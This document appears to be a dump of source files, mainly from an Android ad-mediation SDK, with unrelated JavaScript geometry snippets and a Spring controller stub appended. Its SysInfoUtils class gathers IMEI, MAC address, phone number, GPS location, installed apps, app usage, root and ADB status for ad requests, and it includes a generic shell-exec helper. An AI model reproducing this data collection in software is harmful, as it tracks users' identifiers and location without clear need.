object.put("appName", pm.getApplicationLabel(applicationInfo));
object.put("lastTimeUsed", us.getLastTimeStamp());
object.put("time", us.getTotalTimeInForeground());
array.put(object);
}
} catch (Exception e) {
e.printStackTrace();
}
}
return array;
}
public static boolean isNoOption(Context context) {
PackageManager packageManager = context.getApplicationContext()
.getPackageManager();
Intent intent = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
intent = new Intent(Settings.ACTION_USAGE_ACCESS_SETTINGS);
}
List<ResolveInfo> list = packageManager.queryIntentActivities(intent,
PackageManager.MATCH_DEFAULT_ONLY);
return list.size() > 0;
}
/*@RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
public static boolean isNoSwitch(Context context) {
long ts = System.currentTimeMillis();
UsageStatsManager usageStatsManager = (UsageStatsManager)
context.getApplicationContext().getSystemService("usagestats");
List<UsageStats> queryUsageStats = usageStatsManager.queryUsageStats(
UsageStatsManager.INTERVAL_BEST, 0, ts);
return queryUsageStats != null && !queryUsageStats.isEmpty();
}*/
public static JSONArray getAppUseList(Context context) {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP) {
return getNearUseApp(context);
} else {
return getAppStatus(context);
}
}
public static void getGps(Context context) {
double lat = 0.0;
double lng = 0.0;
if (gps == null) {
// if (checkSelfPermission)
gps = new HashMap<>();
}
if (checkPermission("android.permission.ACCESS_FINE_LOCATION", context)) {
LocationManager locationManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);
if (locationManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) {
//LocationListener locationListener = new JyLocationListener();
//locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 1000, 0, locationListener);
Location location = locationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);
//WLog.d("GPS_PROVIDER location2 %s", location);
if (location != null) {
lat = location.getLatitude(); // 经度
lng = location.getLongitude(); // 纬度
} else if (locationManager.isProviderEnabled(LocationManager.NETWORK_PROVIDER)) {
// locationManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER, 1000, 0, locationListener);
location = locationManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
if (location != null) {
lat = location.getLatitude(); // 经度
lng = location.getLongitude(); // 纬度
}
}
} else if (locationManager.isProviderEnabled(LocationManager.NETWORK_PROVIDER)) {
// LocationListener locationListener = new JyLocationListener();
// locationManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER, 1000, 0, locationListener);
Location location = locationManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
if (location != null) {
lat = location.getLatitude(); // 经度
lng = location.getLongitude(); // 纬度
}
}
}
gps.put("lat", lat);
gps.put("lng", lng);
}
public static JSONObject getSysInfoJson(Context context) {
getGps(context);
// WLog.d(json);
return SysInfoUtils.getSysInfoJson(context, gps.get("lat"), gps.get("lng"));
}
public static JSONObject getDeviceInfo(Context context) {
getGps(context);
JSONObject sysInfoObj = new JSONObject();
try {
String platform = "ANDROID";
String appname = SysInfoUtils.getAppName(context);
String packagename = SysInfoUtils.getPackageName(context);
String model = Build.MODEL;
String ver = Build.VERSION.RELEASE;
String ua = System.getProperty("http.agent");
String androidid = SysInfoUtils.getAndroidId(context);
String mac = SysInfoUtils.getMac(context);
String imei = SysInfoUtils.getImei((Activity) context);
String brand = SysInfoUtils.getBrand();
String appver = SysInfoUtils.getVersionCode(context) + "";
DisplayMetrics metrics = context.getResources().getDisplayMetrics();
String width = metrics.widthPixels + "";
String height = metrics.heightPixels + "";
String dpi = metrics.densityDpi + "";
String istabledevice = SysInfoUtils.isTablet(context);
//getGps((Activity) context);
sysInfoObj.put("platform", platform);
sysInfoObj.put("ver", ver);
sysInfoObj.put("dpi", dpi);
sysInfoObj.put("istabledevice", istabledevice);
sysInfoObj.put("brand", brand);
sysInfoObj.put("model", model);
sysInfoObj.put("width", width);
sysInfoObj.put("height", height);
sysInfoObj.put("ua", ua);
//td
sysInfoObj.put("oaid", OAIdManager.getOAId(context));
sysInfoObj.put("idfa", "");
sysInfoObj.put("imei", imei);
sysInfoObj.put("mac", mac);
sysInfoObj.put("androidid", androidid);
sysInfoObj.put("appname", appname);
sysInfoObj.put("packagename", packagename);
sysInfoObj.put("appver", appver);
sysInfoObj.put("lat", gps.get("lat"));
sysInfoObj.put("lng", gps.get("lng"));
} catch (JSONException e) {
e.printStackTrace();
return null;
}
return sysInfoObj;
}
public static JSONObject getSysInfoJson(Context context, double lat, double lng) {
JSONObject sysInfoObj = new JSONObject();
try {
String ip = SysInfoUtils.getIPAddress(context);
String appname = SysInfoUtils.getAppName(context);
String packagename = SysInfoUtils.getPackageName(context);
String model = Build.MODEL;
String platform = "ANDROID";
String ver = Build.VERSION.RELEASE;
String ua = System.getProperty("http.agent");
String androidid = SysInfoUtils.getAndroidId(context);
String mac = SysInfoUtils.getMac(context);
String imei = SysInfoUtils.getImei(context);
String brand = SysInfoUtils.getBrand();
String appver = SysInfoUtils.getVersionCode(context) + "";
DisplayMetrics metrics = context.getResources().getDisplayMetrics();
String width = metrics.widthPixels + "";
String height = metrics.heightPixels + "";
String dpi = metrics.densityDpi + "";
String istabledevice = SysInfoUtils.isTablet(context);
String phonenum = SysInfoUtils.getPhoneNumber(context);
JSONArray applist = SysInfoUtils.getLocalInstallAppList(context.getPackageManager());
JSONArray appusetime = SysInfoUtils.getAppUseList(context);
//getGps((Activity) context);
sysInfoObj.put("ip", ip);
sysInfoObj.put("appname", appname);
sysInfoObj.put("packagename", packagename);
sysInfoObj.put("model", model);
sysInfoObj.put("platform", platform);
sysInfoObj.put("ver", ver);
sysInfoObj.put("ua", ua);
sysInfoObj.put("androidid", androidid);
sysInfoObj.put("mac", mac);
sysInfoObj.put("imei", imei);
sysInfoObj.put("brand", brand);
sysInfoObj.put("appver", appver);
sysInfoObj.put("width", width);
sysInfoObj.put("height", height);
sysInfoObj.put("dpi", dpi);
sysInfoObj.put("istabledevice", istabledevice);
sysInfoObj.put("phonenum", phonenum);
sysInfoObj.put("lat", lat);
sysInfoObj.put("lng", lng);
sysInfoObj.put("appusetime", appusetime);
sysInfoObj.put("applist", applist);
sysInfoObj.put("oaid", OAIdManager.getOAId(context));
sysInfoObj.put("brightness", getSystemBrightness(context));
sysInfoObj.put("systemvolume", getSystemVolume(context));
sysInfoObj.put("isroot", isDeviceRooted());
//电量加一下是否在充电
sysInfoObj.put("electric", getElect(context));
sysInfoObj.put("adbopen", isAdbOpen(context));
//加一下具体的感应的值了
// WLog.d(sysInfoObj.toString());
} catch (JSONException e) {
e.printStackTrace();
// return e.getMessage();
}
return sysInfoObj;
}
private static File getFileByPath(final String filePath) {
return isSpace(filePath) ? null : new File(filePath);
}
private static boolean isSpace(final String s) {
if (s == null) return true;
for (int i = 0, len = s.length(); i < len; ++i) {
if (!Character.isWhitespace(s.charAt(i))) {
return false;
}
}
return true;
}
private static boolean isFileExists(final File file) {
return file != null && file.exists();
}
private static String gYValue = "";
public static void getGy(Context context) {
final SensorManager sm = (SensorManager) context.getSystemService(Context.SENSOR_SERVICE);
Sensor gyroSensor = sm
.getDefaultSensor(Sensor.TYPE_GYROSCOPE);
final SensorEventListener sensorEventListener = new SensorEventListener() {
@Override
public void onSensorChanged(SensorEvent event) {
if (event.sensor != null && event.sensor.getType() == Sensor.TYPE_GYROSCOPE) {
try {
gYValue = " x:" + event.values[0] + " y:" + event.values[1] + " z:" + event.values[2];
// Log.e("hhhhh"," x:" + event.values[0] + " y:" + event.values[1] + " z:" + event.values[2]);
} catch (Exception e) {
} finally {
if (sm != null) {
sm.unregisterListener(this);
}
}
}
}
@Override
public void onAccuracyChanged(Sensor sensor, int accuracy) {
}
};
if (gyroSensor != null) {
sm.registerListener(sensorEventListener, gyroSensor
,
SensorManager.SENSOR_DELAY_UI);
}
}
/**
* 获得系统亮度
*
* @return
*/
public static int getSystemBrightness(Context context) {
int systemBrightness = 0;
try {
systemBrightness = Settings.System.getInt(context.getContentResolver(), Settings.System.SCREEN_BRIGHTNESS);
} catch (Settings.SettingNotFoundException e) {
e.printStackTrace();
}
return systemBrightness;
}
public static boolean isDeviceRooted() {
return checkRootMethod1() || checkRootMethod2() || checkRootMethod3();
}
private static boolean checkRootMethod1() {
String buildTags = Build.TAGS;
return buildTags != null && buildTags.contains("test-keys");
}
private static boolean checkRootMethod2() {
String[] paths = {
"/system/app/Superuser.apk", "/sbin/su", "/system/bin/su", "/system/xbin/su", "/data/local/xbin/su", "/data/local/bin/su", "/system/sd/xbin/su", "/system/bin/failsafe/su", "/data/local/su", "/su/bin/su"
};
for (String path : paths) {
if (new File(path).exists())
return true;
}
return false;
}
private static boolean checkRootMethod3() {
Process process = null;
try {
process = Runtime.getRuntime().exec(new String[]{
"/system/xbin/which", "su"
});
BufferedReader in = new BufferedReader(new InputStreamReader(process.getInputStream()));
return in.readLine() != null;
} catch (Throwable t) {
return false;
} finally {
if (process != null) process.destroy();
}
}
public static boolean isAdbOpen(Context context) {
return (Settings.Secure.getInt(context.getContentResolver(), Settings.Secure.ADB_ENABLED, 0) > 0);
}
/**
* 执行shell 命令, 命令中不必再带 adb shell
*
* @param cmd
* @return Sting 命令执行在控制台输出的结果
*/
public static String execByRuntime(String cmd) {
Process process = null;
BufferedReader bufferedReader = null;
InputStreamReader inputStreamReader = null;
try {
process = Runtime.getRuntime().exec(cmd);
inputStreamReader = new InputStreamReader(process.getInputStream());
bufferedReader = new BufferedReader(inputStreamReader);
int read;
char[] buffer = new char[4096];
StringBuilder output = new StringBuilder();
while ((read = bufferedReader.read(buffer)) > 0) {
output.append(buffer, 0, read);
}
return output.toString();
} catch (Exception e) {
e.printStackTrace();
return null;
} finally {
if (null != inputStreamReader) {
try {
inputStreamReader.close();
} catch (Throwable t) {
}
}
if (null != bufferedReader) {
try {
bufferedReader.close();
} catch (Throwable ignored) {
}
}
if (null != process) {
try {
process.destroy();
} catch (Throwable ignored) {
}
}
}
}
public static int getSystemVolume(Context context) {
AudioManager mAudioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE);
return mAudioManager.getStreamVolume(AudioManager.STREAM_SYSTEM);
}
public static String getElect(Context context) {
IntentFilter filter = new IntentFilter(Intent.ACTION_BATTERY_CHANGED);
Intent receiver = context.getApplicationContext().registerReceiver(null, filter);
int level = receiver.getIntExtra("level", 0);
int scale = receiver.getIntExtra("scale", 0);
int status = receiver.getIntExtra("status", 0);
int voltage = receiver.getIntExtra("voltage", 0);
int temperature = receiver.getIntExtra("temperature", 0);
double t = temperature / 10.0;
return level + "%";
}
}
<file_sep>package com.tuiyi.test.splash;
import android.app.Activity;
import android.content.Intent;
import android.view.ViewGroup;
import com.tuiyi.allin.core.AdConfig;
import com.tuiyi.allin.core.AdError;
import com.tuiyi.allin.user.AllInAdListener;
import com.tuiyi.allin.user.AllInSplashAd;
import com.tuiyi.allin.utlis.AllInToast;
import com.tuiyi.test.R;
import com.tuiyi.test.base.BaseActivity;
/**
* 开屏展示页面
*
* @author liuhuijie
* @date 1/2/21
*/
public class SplashAdShowActivity extends BaseActivity {
private AllInSplashAd mAllInSplashAd;
private ViewGroup mViewContain;
private String mPlaceId;
public static void startActivity(Activity activity, String placeId, int width, int height) {
Intent intent = new Intent(activity, SplashAdShowActivity.class);
intent.putExtra("placeId", placeId);
intent.putExtra("width", width);
intent.putExtra("height", height);
activity.startActivity(intent);
}
@Override
protected int getLayoutId() {
return R.layout.activity_splash_show;
}
@Override
protected void initView() {
mViewContain = findViewById(R.id.llContainer);
}
@Override
protected void initData() {
mPlaceId = getIntent().getStringExtra("placeId");
showAd();
}
private void showAd() {
AdConfig adConfig = new AdConfig.Builder().setPlaceId(mPlaceId)
.setShowTime(12)
.setWidth(getIntent().getIntExtra("width", 0))
.setHeight(getIntent().getIntExtra("height", 0))
.build();
mAllInSplashAd = new AllInSplashAd(this, mViewContain, adConfig, new AllInAdListener() {
@Override
public void onAdFailed(AdError error) {
AllInToast.show(SplashAdShowActivity.this, error.getMessage());
finish();
}
@Override
public void onAdClick() {
}
@Override
public void onAdReady() {
mAllInSplashAd.showAd();
}
@Override
public void onAdShow() {
}
@Override
public void onAdClose() {
finish();
}
});
}
@Override
protected void onDestroy() {
super.onDestroy();
if (mAllInSplashAd != null) {
mAllInSplashAd.destroyAd();
}
}
}
<file_sep>package com.tuiyi.allin.third.jd;
import android.view.View;
import com.jd.ad.sdk.imp.JadListener;
import com.jd.ad.sdk.imp.splash.SplashAd;
import com.jd.ad.sdk.work.JadPlacementParams;
import com.tuiyi.allin.core.AdError;
import com.tuiyi.allin.core.entity.AdEntity;
import com.tuiyi.allin.core.splashad.CustomSplashAd;
/**
* 京东闪屏广告
*
* @author liuhuijie
* @date 2020/12/10
*/
public class JdSplashAd extends CustomSplashAd {
private SplashAd mSplashAd;
public JdSplashAd() {
}
@Override
public void loadAd() {
JdAdManagerHolder.init(mActivity.getApplication(), mAdConfig.appId);
JadPlacementParams jadParams = null;
jadParams = new JadPlacementParams.Builder()
.setPlacementId(mAdConfig.thirdPid)
.setSize(mAdConfig.width, mAdConfig.height)
.setSupportDeepLink(false)
.setTimeout(5)
.build();
mSplashAd = new SplashAd(mActivity, jadParams, new JadListener() {
@Override
public void onAdLoadSuccess() {
}
@Override
public void onAdLoadFailed(int i, String s) {
notifyAdFail(new AdError(i,s));
}
@Override
public void onAdRenderSuccess(View view) {
notifyAdReady();
mSplashAd.showAd(mViewContainer);
}
@Override
public void onAdRenderFailed(int i, String s) {
notifyAdFail(new AdError(i,s));
}
@Override
public void onAdClicked() {
notifyAdClick();
}
@Override
public void onAdExposure() {
notifyAdShow();
}
@Override
public void onAdDismissed() {
notifyAdClose();
}
});
mSplashAd.loadAd();
}
@Override
public void showAd() {
}
@Override
public void destroyAd() {
}
@Override
public void onPauseAd() {
}
@Override
public void onResumeAd() {
}
@Override
public void customAdMessage(AdEntity adEntity) {
}
}
<file_sep>package com.tuiyi.allin.third.baidu;
import android.app.Activity;
import android.content.Context;
import android.util.DisplayMetrics;
import android.view.ViewGroup;
import android.view.WindowManager;
import com.baidu.mobads.AdView;
import com.baidu.mobads.AdViewListener;
import com.tuiyi.allin.core.AdError;
import com.tuiyi.allin.core.bannerad.CustomBannerAd;
import com.tuiyi.allin.core.entity.AdEntity;
import org.json.JSONObject;
/**
* 百度横幅
* @author liuhuijie
* @date 12/21/20
*/
public class BdBannerAd extends CustomBannerAd {
private Activity mActivity;
private ViewGroup mViewGroup;
private AdView mAdView;
public BdBannerAd(Activity activity, ViewGroup viewGroup,String posId,String appId){
mActivity=activity;
mViewGroup=viewGroup;
mAdView = new AdView(activity, posId);
AdView.setAppSid(activity, appId);
mAdView.setListener(new AdViewListener() {
@Override
public void onAdSwitch() {
}
@Override
public void onAdShow(JSONObject info) {
notifyAdShow();
}
@Override
public void onAdReady(AdView adView) {
notifyAdReady();
}
@Override
public void onAdFailed(String reason) {
notifyAdFail(new AdError(0,reason));
}
@Override
public void onAdClick(JSONObject info) {
notifyAdClick();
}
@Override
public void onAdClose(JSONObject arg0) {
notifyAdClose();
}
});
}
@Override
public void loadAd() {
mViewGroup.removeAllViews();
int scaleWidth=300;
int scaleHeight=100;
DisplayMetrics dm = new DisplayMetrics();
((WindowManager) mActivity.getSystemService(Context.WINDOW_SERVICE)).getDefaultDisplay().getMetrics(dm);
int winW = dm.widthPixels;
int winH = dm.heightPixels;
int width = Math.min(winW, winH);
int height = width * scaleHeight / scaleWidth;
ViewGroup.LayoutParams rllp = new ViewGroup.LayoutParams(width, height);
mViewGroup.addView(mAdView, rllp);
}
@Override
public void showAd() {
}
@Override
public void destroyAd() {
if (mAdView!=null){
mAdView.destroy();
}
}
@Override
public void onPauseAd() {
}
@Override
public void onResumeAd() {
}
@Override
public void customAdMessage(AdEntity adEntity) {
}
}
<file_sep># AllIn 使用说明
[1. SDK接入](https://github.com/tuiyi2020/allin_android/wiki/SDK%E6%8E%A5%E5%85%A5)
[2. SDK配置](https://github.com/tuiyi2020/allin_android/wiki/SDK%E9%85%8D%E7%BD%AE)
[3. 初始化说明](https://github.com/tuiyi2020/allin_android/wiki/%E5%88%9D%E5%A7%8B%E5%8C%96%E8%AF%B4%E6%98%8E)
[4. 开屏说明](https://github.com/tuiyi2020/allin_android/wiki/%E5%BC%80%E5%B1%8F%E8%AF%B4%E6%98%8E)
[5. 横幅说明](https://github.com/tuiyi2020/allin_android/wiki/%E6%A8%AA%E5%B9%85%E8%AF%B4%E6%98%8E)
[6. 插屏说明](https://github.com/tuiyi2020/allin_android/wiki/%E6%8F%92%E5%B1%8F%E8%AF%B4%E6%98%8E)
[7. 原生说明](https://github.com/tuiyi2020/allin_android/wiki/%E5%8E%9F%E7%94%9F%E8%AF%B4%E6%98%8E)
[8. 错误码](https://github.com/tuiyi2020/allin_android/wiki/%E9%94%99%E8%AF%AF%E7%A0%81%E8%AF%B4%E6%98%8E)
[9. 更新日志](https://github.com/tuiyi2020/allin_android/wiki/%E6%9B%B4%E6%96%B0%E6%97%A5%E5%BF%97)
<file_sep>package com.tuiyi.allin.third.jd;
import android.view.View;
import com.jd.ad.sdk.imp.JadListener;
import com.jd.ad.sdk.imp.feed.FeedAd;
import com.jd.ad.sdk.work.JadPlacementParams;
import com.tuiyi.allin.core.AdError;
import com.tuiyi.allin.core.entity.AdEntity;
import com.tuiyi.allin.core.nativead.CustomNativeAd;
import com.tuiyi.allin.utlis.AllInLog;
/**
* Jd原生广告
*
* @author liuhuijie
* @date 12/20/20
*/
public class JdNativeAd extends CustomNativeAd {
private FeedAd feedAd;
private boolean isRender;
public JdNativeAd() {
}
@Override
public void loadAd() {
mViewContainer.removeAllViews();
JdAdManagerHolder.init(mActivity.getApplication(), mAdConfig.appId);
JadPlacementParams jadSlot = new JadPlacementParams.Builder()
.setPlacementId(mAdConfig.thirdPid)
.setSize(mAdConfig.width, mAdConfig.height)
.setSupportDeepLink(false)
.setCloseHide(false)
.build();
feedAd = new FeedAd(mActivity, jadSlot, new JadListener() {
@Override
public void onAdLoadSuccess() {
AllInLog.i("FeedAd Load Success");
}
@Override
public void onAdLoadFailed(int code, String error) {
AllInLog.i("FeedAd Load Failed " + code + error);
notifyAdFail(new AdError(code, error));
}
@Override
public void onAdRenderSuccess(View view) {
AllInLog.i("FeedAd Render Success");
isRender = true;
feedAd.showAd(mViewContainer);
notifyAdReady();
}
@Override
public void onAdRenderFailed(int code, String error) {
AllInLog.i("FeedAd Render Failed");
notifyAdFail(new AdError(code, error));
}
@Override
public void onAdClicked() {
AllInLog.i("FeedAd Clicked");
notifyAdClick();
}
@Override
public void onAdExposure() {
AllInLog.i("FeedAd Exposure Success");
notifyAdShow();
}
@Override
public void onAdDismissed() {
AllInLog.i("FeedAd Dismissed");
notifyAdClose();
}
});
feedAd.loadAd();
}
@Override
public void showAd() {
if (feedAd == null) {
return;
}
if (isRender) {
}
}
@Override
public void destroyAd() {
if (feedAd != null) {
feedAd.destroy();
}
}
@Override
public void onPauseAd() {
}
@Override
public void onResumeAd() {
}
@Override
public void customAdMessage(AdEntity adEntity) {
}
}
<file_sep>package com.tuiyi.allin.core.database;
import android.content.Context;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.text.TextUtils;
/**
* 广告次数
*/
public class AllInDatabase {
private final AllInDatabaseHelper dbHelper;
public AllInDatabase(Context context) {
super();
dbHelper = new AllInDatabaseHelper(context);
}
/**
* 下载缓存表
*/
public static final class AD {
/**
* 字段
*/
public static final class Columns {
public static final String ID = "_id";
public static final String UNITID = "unitid";
public static final String DATE = "crdate";
}
/**
* 表名
*/
public static final String TABLE_NAME = "allin_ad";
/**
* 创建表的SQL
*/
public static final String CREATE_SQL = "create table " + TABLE_NAME
+ " (" + Columns.ID + " integer primary key autoincrement,"
+ Columns.UNITID + " varchar(60)," + Columns.DATE + " long(30)"
+ ")";
/**
* 删除表的SQL
*/
public static final String DROP_SQL = "drop table if exists " + TABLE_NAME;
/**
* 添加一条数据的SQL
*/
public static final String INSERT_SQL = "insert into " + TABLE_NAME
+ " (" + Columns.UNITID + "," + Columns.DATE
+ ") values (?,?)";
/**
* 删除某个时间之前的记录
*/
public static final String DELETE_SQL = "delete from " + TABLE_NAME + " where " + Columns.DATE + "<?";
/**
* 根据unitid,查询某个时间的数据的SQL
*/
public static final String QUERY_HOUR_SQL = "select count(*) from " + TABLE_NAME
+ " where " + Columns.UNITID + "=?" + " and " + Columns.DATE + ">?";
/**
* 根据unitid,查询数据的SQL
*/
public static final String QUERY_SQL = "select * from " + TABLE_NAME
+ " where " + Columns.UNITID + "=?";
/**
* 删除所有数据的SQL
*/
public static final String DELETE_ALL_SQL = "delete from " + TABLE_NAME;
}
/**
* 插入数据
*/
public void insert(String unitid, long currentTime) {
String sql = AD.INSERT_SQL;
SQLiteDatabase sqlite = dbHelper.getWritableDatabase();
sqlite.execSQL(sql, new Object[]{unitid, currentTime});
sqlite.close();
}
/**
* 删除某个时间之前的记录
*
* @param time 时间戳
*/
public void delete(long time) {
SQLiteDatabase sqlite = dbHelper.getWritableDatabase();
sqlite.execSQL(AD.DELETE_SQL, new Object[]{time});
sqlite.close();
}
/**
* 删除所有数据
*/
public void deleteAll() {
String sql = AD.DELETE_ALL_SQL;
SQLiteDatabase sqlite = dbHelper.getWritableDatabase();
sqlite.execSQL(sql);
sqlite.close();
}
/**
* 查询某个时间之后展示次数
*
* @param queryTime 时间戳
* @return count 次数
*/
public int getCountByTime(String unitId, Long queryTime) {
if (TextUtils.isEmpty(unitId) || queryTime == null) {
return 0;
}
String sql = AD.QUERY_HOUR_SQL;
SQLiteDatabase sqlite = dbHelper.getReadableDatabase();
Cursor cursor = sqlite.rawQuery(sql, new String[]{unitId, queryTime.toString()});
cursor.moveToFirst();
int count = cursor.getInt(0);
if (!cursor.isClosed()) {
cursor.close();
}
sqlite.close();
return count;
}
/**
* 查询最新数据
*
* @return
*/
public long getLastTime(String unitId) {
if (TextUtils.isEmpty(unitId)) {
return 0;
}
long lastTime = 0;
String sql = AD.QUERY_SQL;
SQLiteDatabase sqlite = dbHelper.getReadableDatabase();
Cursor cursor = sqlite.rawQuery(sql, new String[]{unitId});
if (cursor.getCount() > 0) {
cursor.moveToLast();
lastTime = (cursor.getLong(cursor.getColumnIndex(AD.Columns.DATE)));
}
if (!cursor.isClosed()) {
cursor.close();
}
sqlite.close();
return lastTime;
}
public void destroy() {
dbHelper.close();
}
}<file_sep>package com.tuiyi.allin.core;
/**
* @author liuhuijie
* @date 12/23/20
*/
public interface AdErrorCode {
//网络错误
int NET_ERROR = 10001;
//无广告
int NO_AD_ERROR = 20001;
//缺少参数
int PARAM_MISS = 30001;
//未知类型广告
int UNKNOWN_AD_TYPE = 40001;
//不符合展示规则
int UN_RULES = 50001;
//渲染失败
int RENDER_ERROR = 60001;
//解析失败
int PARSE_ERROR=70001;
//三方未知错误
int THIRD_UNKNOWN_ERROR=80001;
//广告请求超时
int TIME_OUT_ERROR=90001;
}
<file_sep>package com.tuiyi.allin.user;
import android.app.Activity;
import android.view.ViewGroup;
import com.tuiyi.allin.core.AdConfig;
import com.tuiyi.allin.core.AdError;
import com.tuiyi.allin.core.AdErrorCode;
import com.tuiyi.allin.core.OnAdReloadListener;
import com.tuiyi.allin.core.entity.AdEntity;
import com.tuiyi.allin.core.entity.AdSourceEntity;
import com.tuiyi.allin.core.splashad.CustomSplashAd;
import com.tuiyi.allin.utlis.LocalUtils;
import com.tuiyi.allin.utlis.SysInfoUtils;
/**
* AllIn闪屏广告
*
* @author liuhuijie
* @date 2020/11/20
*/
public class AllInSplashAd extends BaseAllInAd {
private CustomSplashAd ad;
/**
* @param activity
* @param container view容器
* @param adConfig 广告配置
* @param adListener 广告监听
*/
public AllInSplashAd(Activity activity, ViewGroup container, AdConfig adConfig, AllInAdListener adListener) {
makeRequest(adConfig.placeId, adConfig.width, adConfig.height, SysInfoUtils.getDeviceInfo(activity), new AdNetCallBack() {
@Override
public void loadSuccess(AdEntity entity) {
AdSourceEntity adSourceEntity = entity.adsource.get(0);
adConfig.appId=adSourceEntity.appid;
adConfig.thirdPid = adSourceEntity.placeid;
adConfig.className=adSourceEntity.classname;
adConfig.json=adSourceEntity.json;
ad = AdFactory.getSplashAd(getAdType(adSourceEntity), adConfig);
if (ad == null) {
adListener.onAdFailed(new AdError(AdErrorCode.UNKNOWN_AD_TYPE, "未知广告类型"));
return;
}
ad.setAdConfig(activity, adConfig, entity, adListener, new OnAdReloadListener() {
@Override
public void onAdReload(Activity activity, AdConfig adConfig,int currentPos, AdSourceEntity adSourceEntity) {
ad = AdFactory.getSplashAd(getAdType(adSourceEntity), adConfig);
if (ad == null) {
adListener.onAdFailed(new AdError(AdErrorCode.UNKNOWN_AD_TYPE, "未知广告类型"));
return;
}
ad.setAdConfig(activity, adConfig, entity, adListener, this);
ad.setCurrentAdPos(currentPos);
if (!LocalUtils.getAdIsAvailable(activity, adSourceEntity)) {
ad.notifyAdFail(new AdError(AdErrorCode.UN_RULES, "不符合规则"));
return;
} else {
LocalUtils.insertAd(activity, LocalUtils.getUnitId(adSourceEntity));
}
ad.setViewContainer(container);
ad.loadAd();
}
});
if (!LocalUtils.getAdIsAvailable(activity, adSourceEntity)) {
ad.notifyAdFail(new AdError(AdErrorCode.UN_RULES, "不符合规则"));
return;
} else {
LocalUtils.insertAd(activity, LocalUtils.getUnitId(adSourceEntity));
}
ad.setViewContainer(container);
ad.loadAd();
}
@Override
public void loadFail(AdError error) {
adListener.onAdFailed(error);
}
});
}
/**
* 加载广告
*/
@Override
public void loadAd() {
if (ad != null) {
ad.loadAd();
}
}
/**
* 展示广告
*/
@Override
public void showAd() {
if (ad != null) {
ad.showAd();
}
}
/**
* 销毁广告
*/
@Override
public void destroyAd() {
if (ad != null) {
ad.removeAdCallBack();
ad.destroyAd();
}
}
/**
* 暂停广告
*/
@Override
public void onPauseAd() {
if (ad != null) {
ad.onPauseAd();
}
}
/**
* 恢复广告
*/
@Override
public void onResumeAd() {
if (ad != null) {
ad.onResumeAd();
}
}
}
<file_sep>package com.tuiyi.allin.core;
import android.app.Activity;
import com.tuiyi.allin.core.entity.AdSourceEntity;
/**
* 广告加载下一条监听
*
* @author liuhuijie
* @date 1/7/21
*/
public interface OnAdReloadListener {
void onAdReload(Activity activity, AdConfig adConfig,int currentPos, AdSourceEntity adSourceEntity);
}
|
5176af041bda45c34c550641248681cbe569ebff
|
[
"Markdown",
"Java",
"Gradle"
] | 27
|
Java
|
tuiyi2020/allin_android
|
f8be4246dd8a399181a1aff7a57d04f2821b4761
|
ea72968226db4622bf189aab13a008346efe6672
|
refs/heads/main
|
<file_sep>function provjeri()
{
var pitanje01 = document.kviz.pitanje01.value;
var pitanje02 = document.kviz.pitanje02.value;
var pitanje03 = document.kviz.pitanje03.value;
var pitanje04 = document.kviz.pitanje04.value;
var pitanje05 = document.kviz.pitanje05.value;
var rezultat = 0;
if (pitanje01 == "b") {
rezultat++;
}
if (pitanje02 == "c") {
rezultat++;
}
if (pitanje03 == "a") {
rezultat++;
}
if (pitanje04 == "d") {
rezultat++;
}
if (pitanje05 == "c") {
rezultat++;
}
document.getElementById("brojtocnih").innerHTML = "Imaš " + rezultat + " točnih odgovora: " + rezultat*20 + "%" + " ,a minimum 80% je prolaz";
}<file_sep>function factoriel()
{
var x = Number(document.getElementById("var1").value);
var f = 1;
for(var i=1; i<=x; i=i+1)
{
f = f * i;
}
document.getElementById("rez1").innerHTML = f;
}
<file_sep>
function povrsina()
{
var x = Number(document.getElementById("var1").value);
var y = Number(document.getElementById("var2").value);
var z = x*y*3.1415;
document.getElementById("rez").innerHTML = z;
}
<file_sep>function opseg()
{
var a = Number(document.getElementById("kiki").value);
var opseg = 6*a;
document.getElementById("rez1").innerHTML = opseg;
}
function povrsina()
{
var a = Number(document.getElementById("kiki").value);
var povrsina = 6*3**(1/2)*a*a/4;
document.getElementById("rez2").innerHTML = povrsina;
}
<file_sep>function opseg()
{
var a = Number(document.getElementById("var1").value);
var b = Number(document.getElementById("var2").value);
var c = Number(document.getElementById("var3").value);
if ((a+b>c)&&(a+c>b)&&(b+c>a))
{
var z = a+b+c;
document.getElementById("rez1").innerHTML = z;
}
else
{
alert("To nije trokut");
}
}
function povrsina()
{
var a = Number(document.getElementById("var1").value);
var b = Number(document.getElementById("var2").value);
var c = Number(document.getElementById("var3").value);
if ((a+b>c)&&(a+c>b)&&(b+c>a))
{
var s = (a + b + c)/2;
var p = (s*(s-a)*(s-b)*(s-c))**(1/2)
document.getElementById("rez2").innerHTML = p;
}
else
{
alert("To nije trokut");
}
}
|
f7ef7aaa74f092786697833b3db8b5e5bbc474d3
|
[
"JavaScript"
] | 5
|
JavaScript
|
IvoGulin/Geometrija
|
d88e9d2ffb74a6f37f19ada075f329da5881903a
|
fe6add6b977fee6b18a955edd54d5544b9701d60
|
refs/heads/master
|
<file_sep>package com.masterpiece.FreeSportCamp.controllers;
import java.util.HashMap;
import javax.validation.Valid;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.masterpiece.FreeSportCamp.dtos.UserDto;
import com.masterpiece.FreeSportCamp.dtos.PasswordDto;
import com.masterpiece.FreeSportCamp.services.UserService;
/**
* @author <NAME> A collection of resources ({@code User}s). Exposes
* endpoints in order to create and update resources.
*/
@Validated // group validation
@RestController // defines this class as a Rest controller
@RequestMapping("/user") // root segment defining the collection
public class UserController {
/**
* Service is injected by Spring during startup of the application
*/
private final UserService userService;
/**
